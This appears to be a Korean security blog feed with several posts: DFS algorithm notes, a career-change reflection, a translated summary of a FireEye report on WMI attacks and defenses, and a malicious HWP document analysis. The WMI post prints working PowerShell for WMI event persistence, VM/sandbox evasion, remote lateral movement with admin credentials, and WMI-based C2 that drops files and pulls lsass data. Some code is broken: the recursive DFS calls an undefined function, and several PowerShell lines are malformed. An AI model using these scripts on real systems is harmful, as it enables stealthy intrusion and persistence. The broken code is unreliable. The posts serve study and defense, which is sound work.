1. DFS 알고리즘이란

  • 그래프 탐색 알고리즘의 한 종류
  • 그래프 탐색이란 한 정점으로부터 시작하여 다른 정점을 차례대로 모두 한번씩 방문하는 것
  • DFS는 Depth First Search의 약자로서, 임의의 정점에서 시작하여 다른 분기로 넘어가기 전에 해당 분기를 완전히 탐색하는 방법이다.

2. DFS의 특징

  • 모든 노드를 방문하고자 할 때 이 방법을 선택함
  • 넓게 탐색하기 전에 깊이 탐색함
  • 자기 자신을 호출하는 순환 알고리즘의 형태를 가짐
  • 전위 순회를 포함한 다른 형태의 트리 순회는 모두 DFS의 한 종류임
  • 어떤 노드를 방문했는지 여부를 반드기 검사해야 무한 루프에 빠지는 것을 방지할 수 있음
  • 백트래킹에 사용됨

3. 장점

  • BFS(너비 우선 탐색)보다 구현이 간단함
  • 현재 경로 상 노드만 기억하면 되기 때문에 저장 공간이 적게 요구됨
  • 목표값이 깊은 곳에 있다면 빠르게 찾아낼 수 있음

4. 단점 

  • BFS에 비해 탐색 속도가 느림
  • 해가 존재하지 않는 경우 계속 탐색을 진행할 가능성이 있음, 임의의 종결 조건을 선언하여 탐색을 종료할 필요가 있음
  • 해가 도출되면 탐색을 종료하므로 최적의 해가 아닐 가능성이 있음

5. DFS를 사용해야 하는 문제

1) 경로의 특징을 저장해야 하는 문제 

예를 들면 각 정점에 숫자가 적혀있고 a부터 b까지 가는 경로를 구하는데 경로에 같은 숫자가 있으면 안 된다는 문제 등, 각각의 경로마다 특징을 저장해둬야 할 때는 DFS를 사용(BFS는 경로의 특징을 가지지 못함)

 

2) 그래프의 크기가 정말 클 때

 

모든 정점을 방문하는 것이 중요한 문제의 경우 DFS, BFS 두 가지 방법 중 어느 것을 사용해도 상관없음


6. 구현

1) 재귀로 구현

graph = {1: [2, 3, 4], 2: [5, 6], 3: [8],
         4: [8, 9],    5: [7],    6: [],
         7: [3],       8: [],     9: []}
 
def dfs_recursive(node, visited_path=[]):
    visited_path.append(node)
    for v in graph[node]:
        if v not in visited_path:
            recursive_dfs(v, visited_path)
    return visited_path
    
print(f'dfs_recursive path: {dfs_recursive(1)}')

 

2) 스택으로 구현

def dfs_stack(start_node):
    visited_path = []
    stack = [start_node]
    while stack:
        parent = stack.pop()
        if parent not in visited_path:
            visited_path.append(parent)
            for child in graph[parent]:
                stack.append(child)
    return visited_path
    
print(f'dfs_stack path: {dfs_stack(1)}')

인접 정점을 한번에 stack에 추가한다는 점에서 BFS처럼 보일 수 있으나 DFS가 맞다. 후입된 정점을 pop으로 선출하기 때문이다. 

2022년이 되면서 새로운 목표가 생겼다. 개발자가 되고 싶다는 생각이 들었다. 

 

대학 시절부터 현재까지는 정보보호, 특히 디지털포렌식을 주로 했었는데(그마저도 지난 2년간은 업무라는 핑계로 대학시절보다 소홀했지만), 점점 흥미가 없어지기 시작했다. 이유는 복합적이지만 분석 작업이 너무 반복적이라는 생각이 가장 큰 이유였던 것 같다. 데이터 수집 단계부터 예를 들자면 드론 같은 새로운 디바이스가 나오면 나올 때마다 디바이스 운영체제 및 파일시스템 분석해서 데이터 추출해내고, 침해사고 분석 같은 경우 매번 레지스트리부터 프리패치 등 정해진 아티팩트를 수집해야 한다. 분석 단계로 가면 새로운 데이터(가령 윈도우 타임라인 등)가 나오면 나올 때마다 구조체 분석 후 파서 만들고, 침해사고 분석 시에는 수집한 아티팩트에 도구 실행해서 타임라인 비교한다. 악성코드 분석도 과정은 매번 비슷하다.

 

내가 아직 실무레벨을 맛보지 못한 채 빙산의 일각일 뿐인 너무 낮은 수준의 분석만 하다 보니 그런 것이고, 실제 사이버테러 수사나 CTI 전문 보안업체에서 분석을 하면 다르게 느낄지, 그리고 내가 관심을 가지지 않고 열심히 하지 않다보니 연쇄적으로 흥미가 떨어지는 것인지는 잘 모르겠다. 다만 현재로서 내가 바로 실무레벨 분석이 가능한 것도 아니고, 흥미를 느끼지 못하는 상태에서 무턱대고 실무는 다르겠지, 열심히 하다보면 재밌어지겠지 라고 생각하면서 계속 이걸 잡고 있는 것은 손해라는 생각이 들었다. 

 

그에 반해 과거 학교에서 웹사이트를 만들었던 경험을 생각하면 훨씬 재미있었던 것 같다는 생각이 들던 차에 학교 선배가 대기업 개발자 공채에 합격했다는 소식을 듣고 더욱 의지가 강해졌다. 커리어를 완전히 바꾸는 것이고 말로만 듣던 취준을 하게 되었으니 모든 것을 새로 준비해야 한다. 알고리즘, 코딩테스트, 수학, 언어 등 각종 기술 스택, 포트폴리오 등 할 것이 많다. 그 중 블로그 관리를 가장 꾸준하고 중점적으로 해보려고 한다. 공부한 내용을 정리하고 기록하면서 깊이 있는 복습이 가능할 뿐 아니라 누군가에게 나를 소개하고, 내가 무엇을 알고 있는지 알릴 수 있는 가장 좋은 방법이라고 생각했다. 학습 관련 내용뿐 아니라 사적인 내용 혹은 감정적인 내용도 적다보면 내 생각이 정리되는 좋은 습관이 될 것 같다.

 

작년에도 블로그를 꾸준히 해보려고 마음을 먹었었다. 하지만 아무 목표 없이 하려니 내용도 영양가가 없고 짜임새도 엉망이었다. 이제 새로운 목표가 생겼으니 심기일전하여 성실히 짜임새있게 관리해보려 한다. 

 

과거 수능 준비하던 고등학생 시절과 같은 간절함으로 한번 잘 해보자. 

이 글은 FireEye에서 출간한 "WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS"  보고서를 번역 및 요약한 내용입니다.

 

 

WMI는 윈도우 NT 4.0과 Windows 95부터 모든 윈도우 운영체제에 존재하는 기능으로서, 윈도우 시스템을 관리하기 위한 도구의 집합이다. 로컬과 원격 환경을 모두 지원하며 매우 다양한 기능을 제공한다. 공격자는 WMI의 강력한 기능을 공격에 악용하여 AV, VM 탐지, 코드 실행, Lateral Movement, 공격 지속, 데이터 탈취 등 공격 전반에 이르는 영역에 활용하고 있다. 특히 WMI는 파일리스한 특성으로 인해 공격자들의 인기를 끌고 있으며 2010년 Stuxnet에서 발견된 이후 꾸준히 발견되고 있다.

 


이 글에서는 다음의 내용을 다룬다.

  • WMI 개념과 구조
  • WMI 사용
  • WMI 실전 활용

 

1. WMI 구조

WMI는 WBEM(Web-Based Enterprise Management)와 CIM(Common Information Model) 표준을 마이크로소프트에서 구현한 것이다.

WBEM은 네트워크로 다양한 시스템과 장비가 연결된 현대 IT환경에서 이기종 시스템 사이 상호호환성을 보장하기 위해 DMTF가 제정한 규격 중 하나로서, CIM을 기반으로 분산 네트워크 환경에서 효율적인 시스템 관리 프레임워크를 제시하는 표준이다. CIM은 플랫폼에 독립적인 동시에 기술 중립적으로 관리 정보를 교환하기 위해 제정된 표준이다. 관리 대상 개체 및 그들의 상태, 운영, 조합, 구성, 관계 등을 모두 포함한다.

WMI는 위 표준에 따라 어떻게 데이터를 쿼리(Query), 생산(Populate), 구조화(Structure), 전송(Transmit), 처리(Consume), 수행(Perform actions on)하는지를 규율한다.

1.1 Consuming Data

마이크로소프트는 WMI 데이터를 처리하고 WMI 메소드를 실행하는 방법을 제공한다. Powershell이 WMI와 상호작용하는 가장 대표적인 예시이다.

 

1.2 Querying Data

WMI 객체는 SQL과 비슷한 WQL(WMI Query Language)이라 불리는 문법으로 쿼리할 수 있다.

 

1.3 Populating Data

유저가 WMI 객체를 요청하면 WMI 서비스(Winmgmt)는 어떻게 요청된 객체를 생산할 지 알 수 있어야 한다. 이 작업은 WMI provider가 수행하는데 WMI provider는 COM-based DLL로서 전달된 WQL에 따라 모든 프로세스나 레지스트리를 조회하는 등의 역할을 수행한다.
WMI 서비스가 생성하는 객체 유형은 두 가지가 있는데 dynamic 객체와 persistence 객체로 나뉜다.

  • Dynamic 객체: 특정 쿼리가 수행될 대만 생성되어 존재
  • Persistence 객체: %SystemRoot%\System32\wbem\Repository\에 위치한 CIM repository에 저장되어 유지

 

1.4 Structuring Data

대부분의 WMI 객체 스키마는 MOF(Managed Object Format) 파일에 명시된다. MOF는 C++과 유사한 문법을 사용하며 WMI 객체의 스키마를 제공한다. WMI provider가 raw data를 생성하면 MOF 파일은 생성된 데이터가 포매팅 될 수 있는 스키마를 제공한다.
MOF 파일이 없어도 .NET 코드를 이용하여 바로 CIM 저장소로 삽입될 수 있다.

 

1.5 Transmitting Data

마이크로소프트는 WMI 데이터를 원격으로 전송하는 두가지 프로토콜을 제공한다. DCOM(Distributed Component Object Model)과 WinRM(Windows Remote Management)가 그것이다.

 

1.6 Performing Actions

몇몇 WMI 객체는 실행될 수 있는 메소드를 가지고 있다. Win32_Process 클래스의 Create 메소드가 대표적인 예시로서 공격자들에게 Lateral Movement를 위해 사용되곤 한다.
또한 WMI는 eventing system을 제공하는데 유저는 WMI 객체 생성/수정/삭제 등에 대한 event 핸들러를 등록할 수 있다.

 

1.7 OverView

[그림 1]은 WMI의 전체 구조를 그림으로 표현한 것이다.

 

2. WMI 사용

2.1 WMI 상호작용 도구

마이크로소프트와 써드파티 벤더에서  WMI와 상호작용할 수 있도록 여러가지 도구를 제공하고 있다. 

이 글에서는 대표적인 몇가지만 소개한다.

도구 특징
Powershell 매우 강력한 스크립트 언어로서 cmdlet을 이용해서 WMI와 상호작용할 수 있다.아래는 Powershell 버전 3에서 WMI와 상호작용할 수 있는 cmdlets이다.
CIM cmdlet은 WinRM과 DCOM 프로토콜 모두에서 호환 가능하지만, WMI cmdlet은 DCOM에서만 호환된다.
CIM cmdlet은 Powershell 버전 3이상부터 사용 가능하지만, windows 7에는 버전2가 default로 설치되므로, 보통 WMI cmdlet이 사용된다.
wmic.exe 강력한 커맨드라인 유틸리티로서 다양한 alias를 보유하고 있어 복잡한 쿼리도 수행 가능하다.
WMI 메소드 실행도 가능하며, Win32_ProcessCreate 메소드로 lateral movement 수행에 자주 사용된다.
 WSH language(VBS, JScript) 노후된 언어라는 평가와는 상반되게 WMI 사용에 있어서는 강점을 보유하고 있다.
백도어 구현과 C2 매커니즘 구현에 유리하다. 후술할 ActiveScriptEventConsumer Event Consumer에 의해 지원되는 유일한 언어이다.
winrm.exe 객체 조회(enumerate) / 메소드 실행 / 객체 생성 및 삭제 기능을 수행할 수 있고 WinRM 서비스가 실행되는 로컬, 원격 환경 모두에서 작동하는 장점을 가진다. 

 

아래는 Poweshell에서 WMI와 상호작용할 수 있는 cmdlets의 목록이다.

-- Get-WmiObject
-- Get-CimAssociatedInstance
-- Get-CimClass
-- Get-CimInstance
-- Get-CimSession
-- Set-WmiInstance
-- Set-CimInstance
-- Invoke-WmiMethod
-- Invoke-CimMethod
-- New-CimInstance
-- New-CimSession
-- New-CimSessionOption
-- Register-CimIndicationEvent
-- Register-WmiEvent
-- Remove-CimInstance
-- Remove-WmiObject
-- Remove-CimSession

 

2.2 원격 WMI

원격 개체 쿼리, 이벤트 등록, WMI 클래스 메소드 실행과 클래스 생성을 지원하는 프로토콜은 두가지가 있는데, DCOM과 WinRM이 그것이다. 두 프로토콜은 일반적으로 악성 트래픽으로 간주하지 않으므로 공격자가 이용하기 유리하다.

원격 공격을 위해서는 privileged user credential이 필요하다. 

 

2.2.1 DCOM

  • default 프로토콜
  • TCP 135 port로 접속 시작, 데이터는 랜덤 TCP 포트로 전송
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet –Ports (REG_MULTI_SZ)로 범위 설정
  • 파워쉘 WMI cmdlets이 사용

 

2.2.2 WinRM

  • 권장됨
  • WSMan 표준에 따라 설계
  • 파워쉘 원격 명령실행(Powershell Remoting)은 WinRM 표준에 따라 설계됨
  • WMI뿐 아니라 CIM도 지원
  • TCP 5985(HTTP) 사용, default로 암호화
  • TCP 5986(HTTPS) 사용하도록 설정 가능

WinRM 서비스를 사용하는 시스템에서 원격 WMI 상호작용을 지원하는 내장 도구는 winrm.exe과 Powershell CIM cmdlets인데, CIM cmdlets는 상술하였듯 DCOM을 사용하도록 설정될 수 있으나 WinRM 서비스를 사용하지 않는 경우에만 DCOM을 사용하도록 설정된다.

WInRM 서비스가 Listening 상태인지 체크
PS C:\> Test-WSMan -ComputerName 192.168.72.134

원격 접속
PS C:\> $CimSession = New-CimSession -ComputerName 192.168.72.134 -Credential ‘WIN-B85AAA7ST4U\
Administrator’ -Authentication Negotiate
PS C:\> Get-CimInstance -CimSession $CimSession -ClassName Win32_Process

 

2.3 WMI Eventing

WMI가 원래 관리 도구로 설계된 만큼, WMI는 운영체제의 거의 모든 이벤트에 응답할 수 있다.

 

WMI event의 두가지 유형

  • 하나의 프로세스 맥락에서 local하게 실행되는 이벤트
  • Permanent WMI event subscription - 관리자 권한이 필요하다. WMI repository에 저장되어 SYSTEM으로 실행됨. 재부팅 이후에도 지속

2.3.1 Event의 필수 요소

  • Event Filter -> 목표 이벤트
  • Event Consumer -> 이벤트 발생 시 조치사항
  • Filter와 Consumer 바인딩 -> filter와 consumer 연결 등록 매커니즘

2.3.2 Event Filter

  • 목표이벤트
  • 발생 시 Alert
  • Intrinsic Event와 Extrinsic Event로 구분
구분 개요 예시
Intrinsic Event WMI 클래스, 객체, 네임스페이스 생성/수정/삭제 시 발생
운영체제의 거의 모든 이벤트를 포섭하는 장점
매우 빈번히 발생하므로 시간 등 조건 설정하여 실용성 도모 필요
• __NamespaceOperationEvent
• __NamespaceModificationEvent
• __NamespaceDeletionEvent
• __NamespaceCreationEvent
• __ClassOperationEvent
• __ClassDeletionEvent
• __ClassModificationEvent
• __ClassCreationEvent
• __InstanceOperationEvent
• __InstanceCreationEvent
• __MethodInvocationEvent
• __InstanceModificationEvent
• __InstanceDeletionEvent
• __TimerEvent
Extrinsic Event Intrinsic Event에 비해 많지 않은 이벤트
그러나 매우 실용적이고 강력
• ROOT\CIMV2:Win32_ComputerShutdownEvent
• ROOT\CIMV2:Win32_IP4RouteTableEvent
• ROOT\CIMV2:Win32_ProcessStartTrace
• ROOT\CIMV2:Win32_ModuleLoadTrace
• ROOT\CIMV2:Win32_ThreadStartTrace
• ROOT\CIMV2:Win32_VolumeChangeEvent
• ROOT\CIMV2: Msft_WmiProvider*
• ROOT\DEFAULT:RegistryKeyChangeEvent
• ROOT\DEFAULT:RegistryValueChangeEvent

 

2.3.3 Event Consumer

  • 이벤트 발생시 어떤 행동(action)을 취할 것인가를 나타낸다
  • __EventConsumer 클래스에서 파생

유용한 Event Consumer 목록

Consumer 기능
LogFileEventConsumer 지정된 로그 파일에 이벤트 데이터를 기록
ActiveScriptEventConsumer 임베딩된 JScript 스크립트 페이로드의 VBScript 실행
NTEventLogEventConsumer 이벤트 데이터를 포함하고 있는 이벤트 로그 생성
SMTPEventConsumer 이벤트 데이터를 포함한 이메일 전송
CommandLineEventConsumer
커맨드라인 프로그램 실행

특히 ActiveScriptEventConsumer와 CommandLineEventConsumer는 공격자가 매우 유연한 방법으로 페이로드를 실행하고, 파일리스한 공격까지 실행할 수 있는 강력한 기능을 가지고 있다.

 

Event를 이용한 악성 행위 지속 매커니즘 예시

$filterName=’BotFilter82’

$consumerName=’BotConsumer23’

$exePath=’C:\Windows\System32\evil.exe’

$Query=”SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_
PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 
AND TargetInstance.SystemUpTime < 320”

$WMIEventFilter=Set-WmiInstance-Class__EventFilter-NameSpace”root\subscription”
-Arguments @{Name=$filterName;EventNameSpace=”root\cimv2”;QueryLanguage=”WQL”;Query=$Query}
-ErrorActionStop

$WMIEventConsumer=Set-WmiInstance
-ClassCommandLineEventConsumer-Namespace”root\subscription”
-Arguments@=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}

Set-WmiInstance-Class__FilterToConsumerBinding-Namespace”root\subscription”
-Arguments@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

 

3. 실전 활용

3.1 WMI를 이용한 공격

상술했듯 WMI는 매우 다양하고 강력한 기능을 가지고 있어 공격의 모든 단계에서 사용될 수 있다. WMI가 공격에서 가지는 장점을 요약하면 다음과 같다.

  • Windows 98과 NT 4.0부터 Default로 설치되어 활용성 높음
  • psexec 실행보다 은밀한 공격 수행 가능(Stealth)
  • Permanent WMI 이벤트는 SYSTEM으로 실행됨
  • 거의 모든 행위가 가능함
  • WMI repository를 제외하고 디스크 상 흔적을 남기지 않음

3.1.1 정찰(Reconnaissance) 단계

정찰 단계에서 유용하게 사용되는 클래스의 목록

수집 정보 클래스명
Host/OS  Win32_OperatingSystem, Win32_ComputerSystem
파일/디렉토리 리스팅 CIM_DataFile
디스크 볼륨 리스팅
Win32_Volume
레지스트리 StdRegProv
실행 프로세스 Win32_Process
서비스 리스팅 Win32_Service
이벤트 로그 Win32_NtLogEvent
로그온된 계정 Win32_LoggedOnUser
공유 드라이브 Win32_Share
설치된 패치 Win32_QuickFixEngineering

 

3.1.2 AV/VM 탐지

AV 탐지

AV 제품이 설치되면 보통 AntiVirusProductclass를 통해 WMI에 제품을 등록한다. 

해당하는 경우 아래 쿼리로 AV제품 확인 가능하다.

SELECT * FROM AntiVirusProduct 

 

VM/샌드박스 탐지

하드웨어 사양으로 탐지

SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
$VMDetected=$False
$Arguments= @{
Class =’Win32_ComputerSystem’
Filter =’NumberOfLogicalProcessors < 2 OR TotalPhysicalMemory < 2147483648’
}
if (Get-WmiObject@Arguments) { $VMDetected=$True }

 

vmware 탐지

어댑터/바이오스/프로세스명

SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE “%VMware%”
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE “%VMware%”
SELECT * FROM Win32_Process WHERE Name=”vmtoolsd.exe"
$VMwareDetected=$False
$VMAdapter=Get-WmiObjectWin32_NetworkAdapter-Filter’Manufacturer LIKE “%VMware%” OR Name LIKE “%VMware%”’
$VMBios=Get-WmiObjectWin32_BIOS-Filter’SerialNumber LIKE “%VMware%”’
$VMToolsRunning=Get-WmiObjectWin32_Process-Filter’Name=”vmtoolsd.exe”’
if ($VMAdapter-or$VMBios-or$VMToolsRunning) { $VMwareDetected=$True }

 

3.1.3 코드 실행과 Lateral Movement

Win32_Process Create 메소드를 이용하여 실행한다. 서비스 생성 등 불필요한 아티팩트를 생성하지 않는다는 점에서 psexec.exe를 실행하는 것보다 유리하다.

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList ‘notepad.exe’
-ComputerName 192.168.72.134 -Credential ‘WIN-B85AAA7ST4U\Administrator’

악성 스크립트가 임베딩된 파워쉘을 실행하는 방법이 유용하게 사용된다.

 

 

3.1.4 C2 채널로 활용

데이터 저장

활용하고 싶은 데이터가 있을 때, WMI 클래스를 동적으로 생성하여 클래스의 static property value에 원하는 데이터를 저장할 수 있다.

$StaticClass=New-ObjectManagement.ManagementClass(‘root\cimv2’,$null,$null)
$StaticClass.Name =’Win32_EvilClass’
$StaticClass.Put()
$StaticClass.Properties.Add(‘EvilProperty’,”This is not the malware you’re looking for”)
$StaticClass.Put()

원격으로 클래스를 생성/수정하여 데이터를 저장할 수 있다는 특성으로 인해 WMI는 매우 효과적인 C2 채널로서 활용될 수 있다.

 

 

Push Attack 

다음의 코드는 어떻게 WMI 클래스가 파일 데이터 저장에 사용될 수 있는지 보여준다.

저장된 파일 데이터는 원격 파일 시스템에 파워쉘을 이용하여 drop될 수 있다.

$LocalFilePath=’C:\Users\ht\Documents\evidence_to_plant.png’
$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)
# Establish remote WMI connection
$Options=New-ObjectManagement.ConnectionOptions
$Options.Username =’Administrator’
$Options.Password =’user’
$Options.EnablePrivileges =$True
$Connection=New-ObjectManagement.ManagementScope
$Connection.Path =’\\192.168.72.134\root\default’
$Connection.Options =$Options
$Connection.Connect()
# “Push” file contents
$EvilClass=New-ObjectManagement.ManagementClass($Connection,
[String]::Empty,$null)
$EvilClass[‘__CLASS’]=’Win32_EvilClass’
$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]
::String,$False)
$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop
$EvilClass.Put()
$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.134’
}
# The PowerShell payload that will drop the stored file contents
$PayloadText=@’
$EncodedFile = ([WmiClass] ‘root\default:Win32_EvilClass’).
Properties[‘EvilProperty’].Value
[IO.File]::WriteAllBytes(‘C:\fighter_jet_specs.png’,
[Convert]::FromBase64String($EncodedFile))
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.
GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Drop the file to the target filesystem
Invoke-WmiMethod@CommonArgs-ClassWin32_Process-NameCreate-
ArgumentList$PowerShellPayload
# Confirm successful file drop
Get-WmiObject@CommonArgs-ClassCIM_DataFile-Filter’Name = “C:\\fighter_
jet_specs.png”’

 

Pull Attack 

다음의 코드는 파워쉘 커맨드의 결과를 가지고 오는 예시이다.

단순히 텍스트형으로 가져오지 않고, 직렬화(Serialization)와 역직렬화(Deserialization)를 통해 동일한 포맷을 유지하여 데이터를 가져오는 예시다.

$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.131’
}
# Create a remote registry key and value
$HKLM=2147483650
Invoke-WmiMethod@CommonArgs-ClassStdRegProv-NameCreateKey-
ArgumentList$HKLM,’SOFTWARE\EvilKey’
Invoke-WmiMethod@CommonArgs-ClassStdRegProv-NameDeleteValue-
ArgumentList$HKLM,’SOFTWARE\EvilKey’,’Result’
# PowerShell payload that saves the serialized output of `Get-Process lsass` to the registry
$PayloadText=@’
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.
GetBytes($Output))
Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value
$Encoded
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding]::Unicode.
GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Invoke PowerShell payload
Invoke-WmiMethod@CommonArgs-ClassWin32_Process-NameCreate-
ArgumentList$PowerShellPayload
# Pull the serialized results back
$RemoteOutput=Invoke-WmiMethod@CommonArgs-ClassStdRegProv-
NameGetStringValue-ArgumentList$HKLM,’SOFTWARE\EvilKey’,’Result’
$EncodedOutput=$RemoteOutput.sValue
# Deserialize and display the result of the command executed on the remote system
$DeserializedOutput=[Management.Automation.
PSSerializer]::Deserialize([Text.Encoding]::Ascii.
GetString([Convert]::FromBase64String($EncodedOutput)))

 

 

3.2 WMI 공격 대응

3.2.1 상용 도구

  • Sysinternals Autoruns
  • Kansa - 사고대응 분석가를 위한 파워쉘 모듈

위의 도구들은 상용 도구이지만 WMI 지속 매커니즘만 탐지 가능하고, 공격자가 지속 코드를 삭제했을 때는 흔적 분석이 어렵다는 단점이 있다.

아래는 지속 매커니즘을 탐지하는 파워쉘 코드의 예시이다.

$Arguments= @{
Credential =’WIN-B85AAA7ST4U\Administrator’
ComputerName =’192.168.72.135’
Namespace =’root\subscription’
}
Get-WmiObject-Class__FilterToConsumerBinding@Arguments
Get-WmiObject-Class__EventFilter@Arguments
Get-WmiObject-Class__EventConsumer@Arguments

 

 

3.2.2 WMI를 이용한 WMI 공격 탐지

공격만큼이나, 방어 수단으로도  WMI는 활용성이 높다. 윈도우 자체 내장 IDS라고 해도 좋을 정도이다.

아래의 표를 참고하여 적절한 Eventing를 구성하면 방어수단으로도 적극 사용할 수 있을 것이다.

케이스 발생 효과(탐지 대상)
WMI를 지속 매커니즘으로 사용한 경우 __EventFilter 인스턴스와 __EventConsumer, __FilterToConsumerBinding이 생성됨
__InstanceCreationEvent 이벤트가 발생
WMI shell 유틸리티가 C2 채널로 사용 __Namespace 인스턴스가 생성/수정
__NamespaceCreationEvent, __NamespaceModificationEvent 이벤트 발생
공격자 데이터 저장을 위해 WMI 클래스가 생성됨 __ClassCreation 이벤트가 발생
악성 WMI Provider가 설치됨 __Provider 클래스 인스턴스가 생성
__InstanceCreationEvent 이벤트가 발생
시작메뉴/레지스트리 등으로 지속 Win32StartupCommand 클래스 인스턴스가 생성
__InstanceCreationEvent 이벤트가 발생
레지스트리 value를 통해 지속 RegistryKeyChangeEvent 또는
RegistryValueChangeEvent 발생
서비스 등록 Win32_Service 클래스 인스턴스가 생성
__InstanceCreationEvent 이벤트 발생

 

3.2.3 기타 대응

  1. WMI 서비스 비활성화 : 이미 윈도우 시스템은 WMI 의존도가 높아 권장되지 않으며 부작용 고려해야 함
  2. WMI 프로토콜 포트 제한 : 원격 WMI가 필요없는 경우 DCOM으로 하여금 하나의 포트만 사용하도록 설정한 다음, 해당 포트 Block
  3. 이벤트로그 분석
이벤트로그 내용
Microsoft-Windows-WinRM/Operational 실패한 WinRM 접속 시도(origin IP 기록)
Microsoft-Windows-WMIActivity/Operational 실패한 WMI 쿼리와 메소드 실행 기록
Microsoft-Windows-DistributedCOM 실패한 DCOM 연결 시도(origin IP 기록)
기타 파워쉘 로그  

 

이번 포스팅에서는 한컴 오피스 한글 문서 악성코드를 분석한다.

 

분석대상

MD5 F2E936FF1977D123809D167A2A51CDEB
sha256 5D9E5C7B1B71AF3C5F058F8521D383DBEE88C99EBE8D509EBC8AEB52D4B6267B
파일 유형 .hwp 파일

분석도구

이름 버전
hwpscan2 0.4
shellcode2exe.py Remnux 6
IDA Pro 6.8
x64dbg  

1. 개요

본 악성코드는 [그림 1]과 같이 2차 북미정상회담 관련 좌담회 초대장으로 위장한 형태로 유포되었다.

실행하면 문서 내 삽입된 EPS가 쉘코드를 실행, 프로세스 인젝션이 일어나며 악성 URL에 접속하게 된다.

 

[그림 1] 문서 내용

한글 문서 악성코드는 거의 대부분이 EPS를 이용하여 악성행위를 수행한다. EPS(Encapsulated PostScript)는 그림 등 그래픽 요소를 출력하는 용도로 사용되는 어도비에서 개발한 프로그래밍 언어로서, 캡슐화된 형태로 개체 내 삽입이 가능하다. EPS를 이용하여 고화질 이미지를 표현하는 등의 기능을 수행할 수 있어 한컴오피스에서는 EPS를 사용하고 있으나 공격자들은 EPS의 취약점을 이용하여 악성행위를 수행한다.

 

스크립트 내 쉘코드 데이터를 선언하고, cvx exec 명령어를 통해 쉘코드 데이터를 실행 가능한 형태로 변경한 후 exec로 실행하는 패턴이 상당수를 차지한다. 

 

2. 분석

2.1 구조 분석

한글 악성코드를 분석할 때는 hwpscan2라는 누리랩에서 만든 도구를 사용한다. hwpscan2는 파일 포맷 분석과 취약점 분석 기능을 제공한다.

 

[그림 2]는 hwpscan2로 열어본 파일의 구조다.

 

[그림 2] 파일 구조

Bindata 디렉토리 밑에 BIN0003.eps라는 EPS 객체가 있는 것을 확인할 수 있다.

한글은 본문과 그림파일등 데이터를 zlib 알고리즘으로 압축하여 저장하는데, hwpscan2에서는 압축해제된 데이터도 자동으로 보여준다.

 

그림3은 압축해제된 EPS 스크립트다.

 

[그림3] 압축해제된 EPS 스크립트

 

2.2 악성 PostScript 분석

[그림 4] PostSciprt 스크립트 1

xor로 인코딩된 데이터가 ar로 선언되어 있고, 100을 key로 하여 xor 디코딩한 데이터를 cvx exec 명령어로 실행한다.

디코딩하면 또 다른 postscript 스크립트(스크립트 2)가 나온다. 

 

[그림 5] 스크립트 2

스크립트 2에는 쉘코드가 삽입되어 있다. 90(nop), e8(call) 등 opcode로 추정되는 데이터가 보이는 것으로 보아 추가적인 디코딩은 필요 없는 것으로 보인다.

 

 

2.3 쉘코드 분석

2.3.1 정적분석

쉘코드 페이로드를 바이너리 파일로 저장하고, 악성코드 분석 프레임워크인 Remnux의 shellcode2exe.py를 이용하여 실행 가능한 exe 파일로 만들어준다.

아래는 exe파일을 IDA Pro로 디컴파일 한 모습이다. 

 

[그림 6] IDA Pro로 shellcode.exe 디컴파일

함수명도 하나도 보이지 않고, 분석이 거의 이루어지지 않았음을 알 수 있다.

빨간 사각형으로 표시한 구간을 보면, 반복적으로 특정 영역을 xor디코딩한다. 프로그램이 실행되면서 데이터가 언패킹되고 본래 코드가 실행되는 복잡한 구조를 가지고 있기 때문에 분석이 되지 않는 것이다.

따라서 정적분석은 불가능하고, 디버거와 샌드박스로 동적분석을 할 수밖에 없다.

 

2.3.2 동적분석

2.3.2.1 DLL 및 API 주소 탐색

악성코드는 PEB와 LDR 구조를 이용하여 Kernel32.dll 등 dll을 동적으로 찾아 API를 사용한다. (자세한 방법은 추후 포스팅하겠다.)

 

[그림 7] DLL 주소 탐색

2.3.2.2 프로세스 생성(iexplorer.exe)

Cuckoo 샌드박스로 분석한 결과 위 코드는 internet explorer를 실행시키고 Internet Explorer를 실행하고, 악성 URL과 통신한다.

현재는 비활성화된 URL이다.

 

 

2.3.2.3 iexplorer.exe에 코드 인젝션

CreateRemoteThread, NtAllocateVirtualMemory, WriteProcessMemory API를 이용해서 코드 인젝션을 수행한다.

인젝션된 코드가 악성 URL 통신을 수행한다. 인젝션 된 코드에 대한 분석은 추후 추가하겠다.

 

 

악성코드 제작자들은 악성코드 분석을 어렵게 하려는 목적으로 각종 Anti-Disassembly 기법을 사용한다.

이 포스팅에서는 GandCrab 5.0.4 v을 분석하던 중 맞닥뜨린 Anti-Disassembly 기법과 해결법에 대해 다룬다.

 

IDA Pro로 악성코드를 디컴파일 하는 과정에서 다음과 같은 부분을 발견하게 되었다.

디컴파일 초기 상태

